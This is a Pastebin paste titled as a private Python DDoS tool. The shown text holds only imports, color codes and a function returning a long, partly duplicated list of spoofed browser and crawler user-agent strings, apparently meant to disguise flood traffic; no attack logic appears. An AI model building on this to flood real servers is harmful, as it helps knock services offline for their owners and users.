HaxStroke

[PYTHON]Crescent Moon priv8 DDoS

Aug 5th, 2016
2,245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.66 KB | None | 0 0
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3.  
  4. from queue import Queue
  5. from optparse import OptionParser
  6. import time,sys,socket,threading,logging,urllib.request,random
  7.  
  8. # My Hax Stroke Color Console
  9. W = '\033[0m' # white (default)
  10. R = '\033[31m' # red
  11. G = '\033[1;32m' # green bold
  12. O = '\033[33m' # orange
  13. B = '\033[34m' # blue
  14. P = '\033[35m' # purple
  15. C = '\033[36m' # cyan
  16. GR = '\033[37m' # gray
  17.  
  18. def user_agent():
  19. global uagent
  20. uagent=[]
  21. uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")
  22. uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")
  23. uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
  24. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  25. uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
  26. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  27. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
  28. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)")
  29. uagent.append("Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15")
  30. uagent.append("Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57")
  31. uagent.append("Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413")
  32. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)")
  33. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)")
  34. uagent.append("Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0")
  35. uagent.append("Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g")
  36. uagent.append("Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)")
  37. uagent.append("Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125")
  38. uagent.append("Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)")
  39. uagent.append("Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413")
  40. uagent.append("Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)")
  41. uagent.append("Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)")
  42. uagent.append("Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)")
  43. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)")
  44. uagent.append("Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)")
  45. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)")
  46. uagent.append("Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10")
  47. uagent.append("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4")
  48. uagent.append("Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0")
  49. uagent.append("Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10")
  50. uagent.append("Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)")
  51. uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)")
  52. uagent.append("Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)")
  53. uagent.append("Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)")
  54. uagent.append("Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16")
  55. uagent.append("Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
  56. uagent.append("Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)")
  57. uagent.append("Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51")
  58. uagent.append("Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)")
  59. uagent.append("Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)")
  60. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7")
  61. uagent.append("BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0")
  62. uagent.append("Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)")
  63. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)")
  64. uagent.append("Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)")
  65. uagent.append("Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)")
  66. uagent.append("Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10")
  67. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)")
  68. uagent.append("Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007")
  69. uagent.append("BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179")
  70. uagent.append("Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620")
  71. uagent.append("Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com")
  72. uagent.append("Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)")
  73. uagent.append("Mozilla/4.0 (compatible; Arachmo)")
  74. uagent.append("Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)")
  75. uagent.append("Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)")
  76. uagent.append("Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)")
  77. uagent.append("Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)")
  78. uagent.append("BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)")
  79. uagent.append("Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)")
  80. uagent.append("Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)")
  81. uagent.append("Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)")
  82. uagent.append("Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)")
  83. uagent.append("Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )")
  84. uagent.append("Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )")
  85. uagent.append("Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker ([email protected]; http://www.WISEnutbot.com)")
  86. uagent.append("Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker ([email protected]; http://www.WISEnutbot.com)")
  87. uagent.append("Mozilla/4.0 compatible ZyBorg/1.0 ([email protected]; http://www.WISEnutbot.com)")
  88. uagent.append("Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)")
  89. uagent.append("Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)")
  90. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)")
  91. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)")
  92. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)")
  93. uagent.append("Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA")
  94. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2")
  95. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1")
  96. uagent.append("Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)")
  97. uagent.append("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A")
  98. uagent.append("Mozilla/5.0 (PLAYSTATION 3; 3.55)")
  99. uagent.append("Mozilla/5.0 (PLAYSTATION 3; 2.00)")
  100. uagent.append("Mozilla/5.0 (PLAYSTATION 3; 1.00)")
  101. uagent.append("Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)")
  102. uagent.append("Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)")
  103. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7")
  104. uagent.append("BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0")
  105. uagent.append("Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)")
  106. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)")
  107. uagent.append("Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)")
  108. uagent.append("Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)")
  109. uagent.append("Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10")
  110. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)")
  111. uagent.append("Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007")
  112. uagent.append("BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179")
  113. uagent.append("Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)")
  114. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)")
  115. uagent.append("Googlebot/2.1 (http://www.googlebot.com/bot.html)")
  116. uagent.append("Opera/9.20 (Windows NT 6.0; U; en)")
  117. uagent.append("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)")
  118. uagent.append("Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)")
  119. uagent.append("Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0")
  120. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16")
  121. uagent.append("Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)")
  122. uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13")
  123. uagent.append("Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)")
  124. uagent.append("Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)")
  125. uagent.append("Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)")
  126. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)")
  127. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)")
  128. uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8")
  129. uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7")
  130. uagent.append("Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)")
  131. uagent.append("Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)")
  132. uagent.append("YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)")
  133. uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
  134. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  135. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  136. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
  137. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1")
  138. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)")
  139. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)")
  140. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)")
  141. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)")
  142. uagent.append("Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)")
  143. uagent.append("Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)")
  144. uagent.append("Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51")
  145. uagent.append("AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)")
  146. uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)")
  147. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)")
  148. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)")
  149. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)")
  150. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)")
  151. uagent.append("Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)")
  152. uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
  153. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)")
  154. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  155. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)")
  156. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E")
  157. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1")
  158. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)")
  159. uagent.append("Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15")
  160. uagent.append("Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57")
  161. uagent.append("Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413")
  162. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)")
  163. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)")
  164. uagent.append("Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0")
  165. uagent.append("Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g")
  166. uagent.append("Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)")
  167. uagent.append("Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125")
  168. uagent.append("Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)")
  169. uagent.append("Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413")
  170. uagent.append("Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)")
  171. uagent.append("Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)")
  172. uagent.append("Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)")
  173. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)")
  174. uagent.append("Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)")
  175. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)")
  176. uagent.append("Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10")
  177. uagent.append("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4")
  178. uagent.append("Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0")
  179. uagent.append("Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10")
  180. uagent.append("Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)")
  181. uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)")
  182. uagent.append("Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)")
  183. uagent.append("Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)")
  184. uagent.append("Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16")
  185. uagent.append("Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
  186. uagent.append("Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)")
  187. uagent.append("Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51")
  188. uagent.append("Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)")
  189. uagent.append("Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)")
  190. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7")
  191. uagent.append("BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0")
  192. uagent.append("Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)")
  193. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)")
  194. uagent.append("Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)")
  195. uagent.append("Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)")
  196. uagent.append("Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10")
  197. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)")
  198. uagent.append("Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007")
  199. uagent.append("BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179")
  200. uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
  201. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)")
  202. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  203. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)")
  204. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E")
  205. uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1")
  206. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)")
  207. uagent.append("Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15")
  208. uagent.append("Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57")
  209. uagent.append("Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413")
  210. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)")
  211. uagent.append("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)")
  212. uagent.append("Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0")
  213. uagent.append("Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g")
  214. uagent.append("Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)")
  215. uagent.append("Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125")
  216. uagent.append("Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)")
  217. uagent.append("Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413")
  218. uagent.append("Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)")
  219. uagent.append("Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)")
  220. uagent.append("Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)")
  221. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)")
  222. uagent.append("Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)")
  223. uagent.append("Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)")
  224. return(uagent)
